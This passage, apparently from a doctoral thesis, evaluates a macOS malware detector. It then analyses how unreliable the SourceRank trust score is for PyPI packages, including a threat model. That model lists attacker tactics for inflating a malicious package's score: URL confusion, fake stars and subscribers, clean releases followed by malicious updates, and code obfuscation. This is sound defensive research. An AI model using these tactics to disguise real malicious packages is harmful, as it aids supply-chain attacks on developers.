and fat. However, on the full dataset (multi-arch), removing the specific
features results in only a 1.85% drop in performance (3.23% on average
across all datasets).

[RQ5.2] Our results show that when the macOS-specific features are
available, our detector considers them very important. In particular,
features based on the certificate status, entitlements, and system-related
APIs are among the most impactful. However, when these specific fea-
tures are removed, our detector is still capable of achieving similar results
by relying only on generic features.

5.5.5 Real-world Assessment

We now provide a real-world assessment of the proposed detector by eval-
uating its effectiveness in the wild and its generalization capabilities over
time. To this end, we created a new fresh dataset of 9,000 samples, includ-
ing 4,500 goodware and 4,500 malware samples, extracted from the VT feed
over a period of 3 months (from September to November 2024) according
to the following processing steps.
Samples processing. We selected only samples that are Mach-O executa-
bles. Samples were sorted first using the first_submission_date field of the
VT report to select the most recent samples by submission date, and then
using the last_analysis_date field to select the most recent samples by
analysis date. As for the malware samples, we selected only those detected
by at least 5 antivirus engines, while for the goodware samples we selected
only those that have zero detections. Finally, for both goodware and mal-
ware samples, we took 4,500 samples in a stratified way, i.e. proportionally
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Label x86-64 arm64 fat

Malware 3,090 (68%) 715 (16%) 695 (15%)
Goodware 1,491 (33%) 801 (18%) 2,208 (49%)

Total 4,581 (51%) 1,516 (17%) 2,903 (32%)

Table 5.11: Samples distribution by CPU architecture for the fresh dataset.
Percentages in the Total row are computed w.r.t. the total number of sam-
ples, while the others are computed w.r.t. the label.

Detector x86-64 arm64 fat multi-arch

our – all 98.20 73.47 97.42 99.50
our – generic 92.01 58.82 69.64 90.62
our – specific 97.74 77.55 97.71 99.50

generic vs all −6.30% −19.94% −28.52% −8.92%
specific vs all −0.47% +5.55% +0.30% +0.00%

Pajouh-based 71.98 54.43 60.86 68.38
Thaeler 70.14 53.77 57.49 67.72

MalConv 65.42 51.10 61.22 64.38

Avg. Improv. +37.56% +43.34% +65.24% +46.21%

Table 5.12: TPR at 1% FPR of the detectors evaluated for the real-world
assessment. The average improvement w.r.t. the s.o.t.a. detectors is based
on the specific feature set.

to the number of samples for each architecture in the VT feed.
Dataset Distribution. Table 5.11 shows the distribution of the samples
for each CPU architecture in the fresh dataset. Similarly to the original
dataset, the x86-64 architecture is the most represented one, with 51% of
the samples, followed by the fat architecture with 32% of the samples, and
the arm64 architecture with 17% of the samples. Moreover, compared to
the main dataset (see Table 5.2), the percentages related to the malware
distribution highlight an increasing number of both arm64 (16% vs. 6%)
and fat (15% vs. 2%) samples, which confirms the trend of malware authors
to target these architectures [161].
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Detector x86-64 arm64 fat multi-arch

our – all 94.92 75.91 96.41 96.74
our – generic 92.38 64.93 80.00 90.15
our – specific 97.30 80.43 96.52 98.50

generic vs all −2.68% −14.45% −17.02% −6.81%
specific vs all +2.51% +5.95% +0.11% +1.82%

Pajouh-based 81.83 60.12 64.10 75.21
Thaeler 79.52 56.75 62.84 72.85

MalConv 75.27 54.48 66.80 70.55

Avg. Improv. +20.62% +37.75% +52.08% +33.08%

Table 5.13: F1-score at 1% FPR of the detectors evaluated for the real-
world assessment.

Evaluation. We used the fresh dataset to evaluate the generalization per-
formance of our detector in the wild. For completeness, we also evaluate the
detectors based on the features proposed by [129] and [166], as well as Mal-
Conv [142]. Moreover, as already done in the previous experiments, we eval-
uated different combinations of the proposed features, namely all, generic,
and specific. All the detectors are trained on the main dataset. Further-
more, the classification threshold was computed on the test set of the main
dataset and then used to evaluate the detectors on the fresh dataset. The
results are reported in Table 5.12 and Table 5.13, which show the detection
rate (i.e., TPR) and F1-score at 1% FPR, respectively. The tables highlight
several interesting takeaways.

First, unlike the feature assessment experiment, in this case, removing
the specific features leads to a significant drop in detection performance
(15.92% on average). This is particularly evident for the arm64 and fat
datasets, where the relative performance drop is 19.94% and 28.52%, re-
spectively. This confirms that the specific features generalize significantly
better than the generic ones on novel malware samples.

Second, compared to the all feature set, the specific one achieves bet-
ter performance in terms of F1-score across all the benchmarking datasets
(2.60% on average), as well as a slight improvement in the TPR (1.34% on
average). The higher improvement in terms of F1-score is due to the fact
that the specific features lead to a lower number of false positives, hence
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increasing the precision of the model. This can be explained by the fact that
the additional generic features in the all feature set lead to overfitting and,
consequently, a performance drop due to the curse of dimensionality [27].

Finally, the detector based on our (specific) features consistently outper-
forms the state-of-the-art solutions (i.e., the detectors based on the features
proposed by Pajouh et al. [129], Thaeler et al. [166], and MalConv [142])
across all the considered scenarios, with a stunning average improvement of
50.03% and 37.34% in terms of TPR and F1-score, respectively.

[RQ5.3] While on the main dataset, the removal of the macOS-specific
features leads to a limited decrease (3.23%) in detection performance, on
newly-collected samples the performance of the generic features signifi-
cantly drops (15.92%). This is due to the nature of the generic features
(such as N-grams), which provide a powerful way to build “signatures”
of existing malware, but tend to poorly generalize to new samples. On
the other hand, the macOS-specific features are more semantically-rich
and thus can maintain their efficacy even in presence of new variants.

[RQ5.4] This is evident when comparing our detector with state-of-the-
art solutions based on generic features: when tested on novel samples, our
detector consistently outperforms the state-of-the-art with a remarkable
average improvement of 50.03%.

5.6 Related Work

The detection of macOS malware through machine learning has become an
area of growing interest, yet existing research exhibits notable limitations
in dataset scale, adopted features, and methodological approaches (see Ta-
ble 5.14).

In one of the earliest works, Pajouh et al. [129] leveraged a dataset of 602
samples, including 152 malware and 450 goodware, to experiment with sev-
eral machine learning models such as Naive Bayes, Support Vector Machine
(SVM), and Decision Tree (DT). They extracted only structural features
from the Mach-O file format, such as the number of load commands, seg-
ments, symbols, and imported libraries. Due to the limited dataset size, they
employed the Synthetic Minority Over-sampling Technique (SMOTE) [34],
which improved accuracy but also increased the false positive rate. The
same dataset was reused by subsequent works [146, 36, 58], which further
experimented with additional models such as Logistic Regression (LR) and
Random Forest (RF).

In the most recent work to date, Thaeler et al. [166] collected a new
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Work Year Dataset Features
Malware Goodware Available

Pajouh et al. [129] 2018 152 450 ✗ S,T

Sahoo et al. [146] 2022 152 450 ✗ S,T

Chen et al. [36] 2022 152 450 ✗ S,T

Gharghasheh et al. [58] 2022 152 450 ✗ S,T

Thaeler et al. [166] 2023 852 32,333 ✗ S,T

This work 2025 29,716 11,413 ✓ V

Table 5.14: Related work on machine learning for macOS malware detection.
Features: S structural, T: string-based, V: various (also macOS-specific)

dataset comprising 852 malware and 32,333 goodware samples, and em-
ployed a combination of structural (e.g., entropy, file size, number of load
commands) and string-based (e.g., presence of suspicious strings) features
to train a variety of machine learning models, including SVM, DT, and RF.

Prior studies share common limitations. They rely on small, propri-
etary datasets, which limits the generalizability of their findings. Their
solutions are also limited to a narrow set of structural and string-based
features, overlooking critical macOS-specific characteristics such as entitle-
ments, persistence techniques, and embedded certificate status, which, as
demonstrated in this work, are essential for achieving both high detection
performance and human interpretability. Moreover, unlike this study, they
do not rigorously assess feature importance, which is key to understanding
the detector’s decisions, nor do they evaluate how performance evolves over
time by testing on a fresh dataset collected after model training.

5.7 Conclusions and Future Work

In the vast majority of cases, attackers must rely on OS-specific services
and functionalities to carry out harmful actions, making such features a
valuable indicator for effective malware classification. This holds true for
macOS as well, where malicious binaries often leverage low-level APIs to in-
teract with system frameworks and achieve unauthorized persistence. Iden-
tifying these essential traits is fundamental to improve detection accuracy,
as they directly reflect the intent and capabilities of the malware. In this
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work, we focused on extracting and analyzing macOS-specific features, be-
ing the first to conduct a dedicated study in this area. We presented a novel
machine learning-based macOS malware detector leveraging static features
derived from the Mach-O file format and macOS domain knowledge, such
as embedded certificates, entitlements, and persistence techniques. Trained
on a large-scale dataset of 41,129 samples, including 11,413 goodware and
29,716 malware, our detector achieves state-of-the-art detection capabilities
(98.50% TPR at 1% FPR), outperforming existing approaches by 16.56%.
Our detailed feature importance analysis highlights the key role of macOS-
specific features, while real-world evaluation on a fresh dataset of temporally
newer samples confirms its stunning detection performance (99.50%), cor-
responding to a 50.03% improvement over the state-of-the-art, and demon-
strates the outstanding generalization capabilities of macOS-specific fea-
tures (15.92% drop in detection rate if excluded) compared to generic ones.

In conclusion, we strongly believe that our work represents a significant
step forward in macOS malware detection, providing the first concrete ex-
ample of how domain knowledge about macOS binaries can be harnessed
to build a machine learning-based detector with state-of-the-art detection
capabilities. As future work possibilities, we plan to investigate the adver-
sarial robustness of our detector against both current attacks proposed in
the literature against Windows malware detectors [46] and novel attacks
specifically targeting macOS features.
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Chapter 6

A large-scale analysis on the

SourceRank (un)reliability in

the PyPI ecosystem

6.1 Introduction

Supply chain attacks are a growing threat to the software industry. Ac-
cording to a report released by Sonatype in 2024, the number of malicious
packages discovered in the wild had a yearly increase of 156%, with 512,847
new malicious packages identified in 2024 [155]. Recently, PyPI, one of the
main ecosystems for Python packages, has faced a growing number of at-
tacks that even led to a temporary halt in the creation of new projects and
the registration of new users [35, 63].

To ensure the reliability of the packages available in the ecosystem and
automate decisions on the trustworthiness of open-source projects, several
scoring systems have been proposed, such as SourceRank [162, 147, 2] and
the OpenSSF Scorecard [187]. In this work, we focus on SourceRank, a
well-known scoring system developed by Libraries.io for ranking open-source
software packages, which combines 18 metrics, such as number of dependent
packages, frequency of releases, number of contributors, and presence of
informative artifacts like README file, license, or repository.

The SourceRank score has been adopted in several recent studies to val-
idate the reliability of open-source packages recommended by Large Lan-
guage Models (LLMs)-based systems such as ChatGPT and Copilot [94,
92, 93], to rank and select PyPI packages [89, 162, 76], to serve as a fea-
ture for building a prediction model [75], as well as to infer dependencies of

107
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third-party packages [184]. However, none of the previous studies have thor-
oughly analyzed the security and reliability of SourceRank against potential
evasion attacks that could be exploited by malicious actors to manipulate
the metrics, thereby increasing the SourceRank score of a malicious package
and making it appear trustworthy.

In this study, we aim to fill this gap by proposing a threat model of the
SourceRank score and analyzing its behavior for benign and malicious pack-
ages in the PyPI ecosystem. For each metric contributing to the SourceRank
score, we identify potential evasion approaches aimed at manipulating the
metric to increase the score of a malicious project, thereby making it ap-
pear trustworthy. In particular, we found a novel evasion approach, which
we name URL confusion, that consists in leveraging the URL of a legitimate
package’s repository even though the malicious package itself is not related
to the referenced URL. Given that such a URL influences 5 out of the 18
metrics used to compute the SourceRank score, this evasion technique can
significantly increase the SourceRank of a malicious package by exploiting
the URL of a legitimate one.

We then perform a study on the PyPI ecosystem by analyzing the
SourceRank distributions of benign and malicious packages from the state-
of-the-art MalwareBench dataset [185], as well as from a large dataset of
122,398 newly uploaded packages collected daily from PyPI over 80 days.
Our analysis shows that while on historical data (i.e., MalwareBench) there
is a clear separation between the distributions of benign and malicious pack-
ages, in a real-world scenario they significantly overlap due to the fact that
SourceRank does not promptly reflect the removal of malicious packages
from PyPI. In fact, only 6 out of the 210 malicious packages in the real-
world dataset were marked as removed after five months.

Our results highlight that the SourceRank score is not effective in dis-
criminating benign from malicious packages in a real-world scenario as the
best achievable F1-score based on real-world data is only 14.87%. Moreover,
since SourceRank can only discriminate malicious packages once they are
removed from PyPI and once such information is propagated to Libraries.io
(information which is often delayed), it is unreliable for selecting benign
packages from those available on PyPI.

We finally analyze the presence of URL confusion in the datasets, and
we show that, even though it is not widespread (7.0% of the packages in
the real-world dataset), it is an emerging attack technique (i.e., was 4.2% of
the packages in the MalwareBench dataset from 2024) that can significantly
increase the SourceRank of a malicious package.

The remainder of the paper is organized as follows. Section 6.2 first
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introduces the SourceRank score and then presents its threat model, includ-
ing the evasion techniques we identified for each metric that contributes to
SourceRank. Section 3.5 describes the datasets we used for our experiments,
the research questions we aim to answer and the results of our experiments.
Finally, Section 5.7 concludes the paper and summarizes the main findings
of our study.

6.2 SourceRank Threat Modeling

This section first provides an overview of SourceRank, and then presents
its threat model describing how an attacker can manipulate it to make a
malicious package appear as trustworthy.

6.2.1 SourceRank Overview

SourceRank is a state-of-the-art ranking score developed by Libraries.io to
evaluate the popularity and trustworthiness of open-source packages [162,
147]. It consists of an integer score that is computed by summing up the
values of 18 metrics, which are described in Table 6.1.

As there isn’t any documentation page on SourceRank, the descrip-
tion of the metrics is the result of our hands-on experience using it. The
Libraries.io website only offers a brief overview of the metrics (and their
value) in the SourceRank breakdown webpage for a given package. As an
example, Figure 6.1 (left) shows the SourceRank breakdown page for the
pandas package1. A noteworthy observation is that 5 out of the 18 metrics,
namely All pre-releases, Any outdated dependencies, Is deprecated, Is un-

maintained, and Is removed (highlighted in red in Table 6.1), are not shown
in the SourceRank breakdown webpage, but are provided by the Libraries.io
API [100] and used to compute the SourceRank score. As visible in Fig-
ure 6.1, the SourceRank breakdown page (on the left) of pandas does not
show the values for the 5 metrics, which are instead provided in the JSON
report (on the right) obtained through the Libraries.io API.

Such inconsistency, together with the lack of documentation, can lead
to a misinterpretation of SourceRank, as users may not be aware of the
existence of these metrics or their impact on the overall score.

1https://libraries.io/pypi/pandas/sourcerank

https://libraries.io/pypi/pandas/sourcerank
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Metric Description Attack

Basic info
present

Whether the package has basic information:
description, homepage or repository URL, and keywords.

Add basic info: an appealing description, commonly-used keywords,
and a URL pointing to a repository related to a legitimate package

(URL confusion) or to a new one created by the attacker.

Source repository
present

Whether the package provides a URL
referring to a repository.

Use URL confusion: add a URL pointing to a repository
related to a legitimate package.

Create a new repository for the malicious package
and provide its URL.

Readme present Whether the related repository has a README file
with information about the package.

Add a README file in repository hosted at the URL
provided in the malicious package.

Has multiple
versions Whether the package has more than one release version. Create multiple releases of the package,

even with legitimate code at first.

Follows SemVer Whether the package follows Semantic Versioning (SemVer)
for its releases. Follow the SemVer specification for the releases.

Recent release Whether the package has a release in the last six months. Create a new release every 6 months,
even with legitimate code at first.

Not brand new Whether the package has existed for at least six months. Create a legitimate version of the package and wait
for 6 months before updating it with malicious code.

1.0.0 or greater Whether the package has a release version
greater or equal to 1.0.0. Create a release with a version greater or equal to 1.0.0.

Dependent
packages

The number of projects (packages) that depend on this package,
scaled logarithmically in base 10 and multiplied by 2. Create many other packages that depend on the malicious one.

Dependent
repositories

The number of repositories provided for packages
depending on this package, scaled logarithmically in base 10. Create a repository for each dependent package.

Stars The number of stars the repository provided in the package
has received, scaled logarithmically in base 10.

Use URL confusion. The malicious package inherits
the stars of the legitimate one.

Create fake accounts to star the repository
related to the malicious package.

Contributors The number of contributors to the repository provided in the package,
scaled logarithmically in base 10 and divided by 2.

Use URL confusion. The malicious package inherits
the contributors of the legitimate one.

Create fake accounts that contribute to the repository
provided in the malicious package.

Libraries.io
Subscribers

The number of subscribers to the package on Libraries.io,
scaled logarithmically in base 10 and divided by 2. Create fake accounts that subscribe to the package on Libraries.io.

All pre-releases such as alpha or beta releases.
Whether the package has all pre-release versions, Avoid creating pre-release versions of the malicious package.

dependencies
Any outdated Whether the package has any outdated dependencies. malicious package are up-to-date.

Ensure that all dependencies of the

Is deprecated If so, this metric is set to −5, else to 0
Whether the package is deprecated. Not relevant: it is generally under control of the attacker.

Is unmaintained If so, this metric is set to −5, else to 0
Whether the package is unmaintained. Not relevant: it is generally under control of the attacker.

Is removed If so, this metric is set to −5, else to 0
Whether the package has been removed from the ecosystem.

e.g., by using obfuscation techniques to hide the malicious code.
Avoid detection by the maintainers of the ecosystem,

Table 6.1: Summary of the metrics that make up the SourceRank score.
For each metric, we provide a brief description and how an attacker can
manipulate it to increase the SourceRank of a malicious package. The
metrics highlighted in green are not shown on the Libraries.io website but
are provided by the Libraries.io API and used to compute the SourceRank.

6.2.2 Threat Model

We present hereafter a threat model of the SourceRank score according to
the following four criteria inspired by the adversarial machine learning lit-
erature [25].
Goal. The goal of an attacker is to create a malicious package that maxi-
mizes its SourceRank score, hence masquerading it as a trustworthy one.
Knowledge. We assume a white-box scenario: the attacker has full knowl-
edge of SourceRank, including its metrics and how they are computed.
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{
  "basic_info_present": 1,
  "repository_present": 1,
  "readme_present": 1,
  "license_present": 1,
  "versions_present": 1,
  "follows_semver": 0,
  "recent_release": 1,
  "not_brand_new": 1,
  "one_point_oh": 1,
  "dependent_projects": 10,
  "dependent_repositories": 4,
  "stars": 5,
  "contributors": 2,
  "subscribers": 2,
  "all_prereleases": 0,
  "any_outdated_dependencies": 0,
  "is_deprecated": 0,
  "is_unmaintained": 0,
  "is_removed": 0
}

JSON info provided by the Libraries.io API

Figure 6.1: SourceRank score for the pandas package provided on the Li-
braries.io webpage (left) and obtained through the Libraries.io API as JSON
(right).

Capability. The attacker has the capability to create a new package on
PyPI (or, in general, any other ecosystem that uses the SourceRank score).
Strategy. The attacker aims to manipulate the SourceRank metrics to
increase the SourceRank score of the malicious package.

To this end, for each metric, we identified several evasion approaches that
can be exploited by the attacker to manipulate the corresponding metric (see
Table 6.1).
Basic info present. The attacker can create a malicious package with:

• a brief description. To make it more appealing to users, the attacker
can use a description that is similar to well-known packages (e.g., by
using buzzwords or popular terms);

• a URL that either points to a legitimate package (resembling the URL

confusion attack [148]), or to a new repository created by the attacker
(even not containing any malicious code). This attack would be also
effective if the URL points to a (well-known) website, potentially re-
lated to the topic of the package to make it more appealing to users;

• keywords that are commonly used by users to search for packages (not
necessarily related to the package itself).
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All the above techniques can be leveraged to increase the SourceRank of the
malicious package to 1 to make it look like a well-known and trustworthy
package. The key point is that there is no verification of the provided infor-
mation, hence the attacker can provide any information that is appealing
to users.
Source repository present. The attacker can provide a URL that points to
a legitimate source code repository (e.g., a GitHub repository) to obtain a
value of 1. This can be achieved either by referencing an existing one (e.g.,
from a well-known package) that is also potentially unrelated to the mali-
cious package, or by creating a new repository on a popular platform (e.g.,
GitHub, GitLab). We refer to the first approach as URL confusion [148]
as it consists in exploiting the URL of a legitimate package. It is worth
noting that, as already explained for the Basic info present metric, the Li-
braries.io platform does not verify the legitimacy of the provided repository
URL. Hence, the attacker can provide any URL that points to a legitimate
source code repository. Finally, as for the second scenario, to increase the
legitimacy appeal when using the URL of a newly created repository, the at-
tacker can also use typosquatting for the package name or additional evasion
techniques such as alternate spelling or familiar term abuse [88, 123].
Readme present. The attacker can simply provide a README file in the
related repository to set this metric to 1. If the attacker leverages the URL

confusion attack, the README file can be the one in the related repository
of the legitimate package. On the other hand, if the attacker creates a new
repository, the attacker can create a new one that is similar to the README
file of a well-known package to make the README file more appealing.
Has multiple versions. The attacker can create multiple releases of the ma-
licious package to set this metric to 1. For instance the attacker can publish
the first release of the package (or few initial releases) with legitimate code
and then update it with malicious code in subsequent releases. This can be
particularly effective if the attacker initially provides a legitimate package to
gain the user trust, and then injects malicious code in subsequent releases.
Follows SemVer. The attacker can follow the Semantic Versioning (SemVer)
[139] specification to set this metric to 1.
Recent release. The attacker can simply create a new release of the malicious
package every 6 months to set this metric to 1. The main challenge for the
attacker is to create a new release that is not detected as malicious by the
maintainers of the ecosystem. To this end, the attacker can leverage several
obfuscation techniques to hide the malicious code such as encryption and
obfuscation of strings [90, 41].
Not brand new. This metric is set to 1 if the package has existed for at least



6.2. SourceRank Threat Modeling 113

6 months. From an attacker’s perspective, this means that the malicious
package must remain undetected for at least 6 months after its creation. To
achieve this, the attacker can create an initial version of the package that is
legitimate and does not contain any malicious code, and then update it with
malicious code after 6 months. The main drawback is that the attacker has
to wait for 6 months before being able to inject the malicious code. On the
other hand, as discussed above for the Recent release metric, the attacker
can leverage several obfuscation techniques to hide the malicious code.
1.0.0 or greater. The attacker can create a release with a version greater or
equal to 1.0.0 to set this metric to 1.
Dependent packages. This metric is related to the number of projects (i.e.,
packages available in the ecosystem) that depend on the malicious package.
To obtain a high value for this metric, the attacker can create many ad-
ditional packages (not necessarily malicious) that depend on the malicious
one. It is worth noting that this solution may not be straightforward as it
requires effort from the attacker to create new packages.
Dependent repositories. This metric depends on the number of repositories
that are provided for packages depending on the malicious one. Thus, it is
strictly related to the Dependent packages metric. To obtain a high value for
this metric, the attacker can extend the previous approach by also creating
a repository for each dependent package created.
Stars. This metric is related to the number of stars received by the repository
of the package. To boost this metric, the attacker can hijack a legitimate
repository (i.e., providing in the malicious package a URL that points to a
legitimate repository as discussed for the Source repository present metric),
thus inheriting the stars of the legitimate package exploiting its popularity.
Alternatively, the attacker can create a new repository for the malicious
package and try to gain stars by promoting it on social media or by creating
fake accounts that star the repository.
Contributors. This metric is related to the number of contributors to the
package and is obtained from the repository provided in the package. Sim-
ilarly to the Stars metric, the attacker can leverage the repository of a
legitimate package, thus inheriting its number of contributors, or create a
new repository and fake accounts added as contributors.
Subscribers. This metric is related to the number of subscribers to the pack-
age on Libraries.io. To obtain a high value for this metric, the attacker can
create fake accounts on Libraries.io, which subscribe to the package.
All pre-releases. This metric is set to −1 (i.e., it penalizes the SourceRank)
if the package has all pre-release versions, such as alpha or beta releases,
otherwise it is set to 0. Hence, the attacker can simply avoid creating pre-
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release versions for the malicious package.
Any outdated dependencies. This metric is set to −1 (i.e., it penalizes the
SourceRank) if the package has any outdated dependencies, 0 otherwise. To
avoid having this metric set to −1, the attacker can simply ensure that all
dependencies of the malicious package are up-to-date, or if possible, avoid
dependencies at all.
Is deprecated. This metric is set to −5 (i.e., it heavily penalizes the SourceR-
ank) if the package is deprecated. It is worth noting that even though this
metric is not available on the Libraries.io website, we found out that it is
set to −5 if the package is reported as deprecated in the ecosystem.

As for PyPI, since the status is set directly by the package maintainer,
this metric is not useful for trustworthiness evaluation, as it is under the
control of the attacker.
Is unmaintained. This metric is set to −5 (i.e., it heavily penalizes the
SourceRank) if the package is unmaintained. Similarly to the Is deprecated

metric, this metric is not documented on the Libraries.io website, hence we
assume it is set to −5 if the package is reported as unmaintained in the
ecosystem. Moreover, also this metric is under the control of the attacker,
as it is set by the package maintainer.
Is removed. This metric is set to −5 (i.e., it heavily penalizes the SourceR-
ank) if the package has been removed from the ecosystem. To avoid this,
the attacker must ensure that the malicious package is not removed from
the ecosystem, i.e., that is not detected as malicious by the maintainers of
the ecosystem. To this end the attacker can leverage obfuscation techniques
to hide the malicious code and ensure that the malicious package respects
the policies of the ecosystem.

Summary. We provide a summary of the manipulation strategies that
can be exploited by the attacker to increase the SourceRank of a malicious
package in Table 6.1. It is important to note that SourceRank is based on
a set of metrics that can be easily manipulated by the attacker. Hence,
only relying on the SourceRank score to evaluate the trustworthiness of a
package is not sufficient and can lead to a false sense of security.

Moreover, by just leveraging a URL that points to a legitimate reposi-
tory, the attacker can influence several metrics at once: Basic info present,
Source repository present, Readme present, Stars, and Contributors. In par-
ticular, the attacker can exploit the popularity of the legitimate repository
to obtain a high SourceRank score, as well-known projects often have a high
number of stars and contributors. We will refer to this approach as URL

confusion in the rest of the paper and will show that it is exploited in the
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wild by several malicious packages.
On top of it, the attacker can easily manipulate other metrics such as

Has multiple versions, Recent release, 1.0.0 or greater, All pre-releases, Any

outdated dependencies to further increase the SourceRank score of the ma-
licious package.

As for the remaining metrics, we argue that Dependent packages, De-

pendent repositories, Subscribers and Not brand new are the most difficult
to manipulate, as they require more effort from the attacker (e.g., creating
many additional packages that import the malicious package as dependency,
or creating fake accounts on Libraries.io to subscribe to the package).

Finally, we note that the Is deprecated and Is unmaintained metrics are
not useful for trustworthiness evaluation, as they are under the control of
the attacker.

6.3 Experiments

In this section, we present the experiments conducted to analyze how the
SourceRank score behaves for benign and malicious packages in the PyPI
ecosystem, and to assess the prevalence of the URL confusion evasion tech-
nique. We first introduce the research questions we aim to answer in this
work, then we describe the datasets we used for our analysis, and finally we
present the results of our experiments.

6.3.1 Research Questions

[RQ6.1] SourceRank distributions analysis – How do the SourceRank
distributions of benign and malicious packages compare within the PyPI
ecosystem?
[RQ6.2] SourceRank effectiveness to discriminate benign from ma-
licious packages. – How effective is the SourceRank to discriminate benign
from malicious packages in the PyPI ecosystem?
[RQ6.3] Presence of URL confusion in the wild – How many mali-
cious packages leverage URL confusion in a real-world scenario?

6.3.2 Datasets

For our experiments we adopted two different datasets, namely MalwareBench
[185] and a real-world dataset of Python packages collected from PyPI,
which are described in the following.

MalwareBench. MalwareBench is a state-of-the-art dataset collected by
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Zahan et al. [185], which includes 3,190 unique malicious and 3,368 unique
benign Python packages. We use this dataset as baseline to analyze the
distribution of the SourceRank score in the PyPI ecosystem, as well as
to understand if the URL confusion evasion approach has been exploited
by malicious packages in the past. We collected the SourceRank scores
of the packages in the MalwareBench dataset on May 9th, 2025 using the
Libraries.io API [100]. We filtered out 39 packages (20 malicious and 19 be-
nign) whose SourceRank was not available (e.g., when a package is removed
from the ecosystem by its maintainer), and we took the latest release of each
package, resulting in a total of 3,170 malicious and 3,349 benign packages.

Real-world dataset. We built a real-world dataset by collecting all pack-
ages uploaded to PyPI over 80 days (from October 2nd, 2024 to December
21st, 2024), using the PyPI feeds for newly uploaded packages2 and re-
leases3. The dataset contains 48,711 unique packages (214 malicious and
48,503 benign) and 122,398 releases. We collected the ground truth la-
bels of the packages by leveraging the Open Source Security Foundation
(OpenSSF) repository of malicious packages [127] and the private PyPI
database [56], a private GitHub repository4 including the packages reported
as malicious by the PyPI maintainers and the community. We collected the
labels five days after the end of the collection period and rechecked them
five months later, confirming that they were still valid. As for the Mal-
wareBench dataset, we collected the SourceRank scores for the packages on
May 9th, 2025, using the Libraries.io API [100]. Finally, we filtered out 51
packages (4 malicious and 47 benign) whose SourceRank was not available,
and we took the latest release of each package, resulting in a total of 210
malicious and 48,456 benign packages.

6.3.3 Experimental Setup

All experiments were conducted on an Ubuntu 22.04.6 LTS server equipped
with an Intel Xeon Platinum 8160 CPU @ 2.10 GHz (64 cores) and 256
GB of RAM. To collect the SourceRank scores of the packages, we used the
API provided by Libraries.io [100]. For the analysis of the datasets, we used
Python 3.11.9 and the pandas library [108].

2https://pypi.org/rss/packages.xml
3https://pypi.org/rss/updates.xml
4access is granted by the PyPI security team

https://pypi.org/rss/packages.xml
https://pypi.org/rss/updates.xml
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Metric MalwareBench Real-world

Benign Malicious Benign Malicious

Min −3 −4 −3 −3
Max 31 19 31 15

Mean ± Std 9.21± 5.54 −2.09± 3.35 7.75± 3.64 3.46± 2.57
Median 8 −3 7 3

Table 6.2: Statistics of the SourceRank score for MalwareBench and real-
world datasets.
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Figure 6.2: SourceRank results.
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6.3.4 Results

SourceRank distribution analysis. Figure 6.2 shows the distribution of
the SourceRank score, expressed as the percentage of packages for each score
value from −5 to 32, for benign and malicious packages in both datasets.
We report the statistics (min, max, mean and std. deviation) in Table 6.2.

While for the MalwareBench dataset (cf. Figure 6.2a) the distributions
for benign and malicious packages are well-separated with little overlap
(the mean SourceRank of benign packages is 9.21, while for malicious ones
is −2.09), in a real-world dataset, the distributions are more similar and
tend to overlap (mean SourceRank of 7.75 for benign packages and 3.46
for malicious ones). It is worth noting that while the mean SourceRank
of benign packages remains similar in both datasets (9.21 vs. 7.75), for
malicious packages the mean SourceRank significantly increases from −2.09
in the MalwareBench dataset to 3.46 in the real-world dataset.

We further investigated this difference and found that 91.8% of the ma-
licious packages in the MalwareBench dataset have a SourceRank lower or
equal to 0 and 95.5% have the Is Removed metric set to −5, which indicates
that the package has been removed from PyPI. On the other hand, in the
real-world dataset, only 2.4% of the malicious packages have a SourceRank
lower or equal to 0 and only 2.86% have the Is Removed metric set to −5.
The last finding is quite surprising: although all malicious packages in the
real-world dataset have been removed from PyPI (which we confirmed by
querying the platform), the SourceRank scores do not always reflect this
and have a value of 0 instead of −5 for the Is Removed metric for 204 out of
the 210 malicious packages of the real-world dataset. In fact, only 6 (2.9%)
packages are reported as removed by Libraries.io despite we collected the
SourceRank scores five months after the end of the collection period, and
most of the packages, i.e., 177 (84.3%) out 210 malware packages5, were al-
ready reported as malicious by the public OpenSSF database [127]. Hence,
the information about the maliciousness of these packages was already avail-
able online but is not reflected by the SourceRank.

We also investigated how the distributions change if we set the Is Re-

moved metric to the correct value of −5 for all the malicious packages in
the real-world dataset (see Figure 6.2c). We found that the SourceRank
distributions of the malicious packages are significantly shifted to the left,
with a mean SourceRank of −1.40 compared to 3.46 before, much closer
to the MalwareBench distribution. This confirms that a major cause of

5the remaining 33 packages are included only in the PyPI private database [56]
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the misalignment between the distributions for the MalwareBench and real-
world datasets is that SourceRank does not promptly reflect the fact that
malicious packages have been removed from PyPI.

[RQ6.1] The SourceRank distributions of benign and malicious pack-
ages differ only on historical data (MalwareBench), due to the metric Is

Removed that is set to −5 for all the malicious packages. In the real-
world dataset, the distributions overlap significantly as SourceRank does
not promptly reflect the real status of malicious packages that have been
removed from PyPI.

SourceRank effectiveness to discriminate benign from malicious
packages. We analyze here the effectiveness of SourceRank in discrimi-
nating benign from malicious packages. To this end, we aim to find the
best threshold for SourceRank that maximizes the F1-score (defined as the
harmonic mean of precision and recall) on the MalwareBench dataset and
validate it on the real-world dataset. The results, shown in Figure 6.2d,
confirm the findings of RQ.1: while for the MalwareBench dataset (blue), a
threshold of 1 achieves the best F1-score of 94.5%, with the same threshold
on the real-world dataset (red), the F1-score drops to 3.66%. It is worth
noting that even if we tune the threshold on the real-world dataset, the best
F1-score is only 14.87% (with a threshold of 2), which is still significantly
lower than the performance on the MalwareBench dataset and impractical
for real-world use. On the other hand, if we update the Is Removed metric
to −5 for all the malicious packages in the real-world dataset (green) and
apply the same threshold tuned on the MalwareBench dataset, the F1-score
increases to 80%. These results confirm again that the SourceRank score is
not effective in discriminating malicious packages in a real-world scenario,
mainly because it does not reflect whether a package has been removed. It
is worth remarking that being able to discriminate malicious packages once
they are removed is of little interest, as the package is no longer available
on PyPI and cannot be downloaded by users. This result highlights the
unreliability of the SourceRank score in selecting benign packages among
those available on PyPI.

[RQ6.2] SourceRank score is not effective in discriminating benign from
malicious packages in a real-world scenario, mainly because it does not
reflect whether a package has been removed from PyPI. Moreover, it is
not reliable in selecting benign packages among those available on PyPI.

Presence of URL confusion in the wild. In this RQ, we analyze the
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presence of URL confusion on both datasets. To this end, we first check
if the packages in the datasets have the Source Repository Present metric
set to 1, which means that the package has a source repository available.
Then, we manually check if the URL of the package points to a reposi-
tory associated with a legitimate package6. We found that this evasion
approach is present in 134 (4.2%) malicious packages of the MalwareBench
dataset, while it is exploited in 15 (7.0%) malicious packages of the real-
world dataset. This shows that, even though this evasion approach is not
widely used, it is present in the wild with an increasing trend (from ∼ 4%
in the MalwareBench dataset to 7% in the real-world dataset).

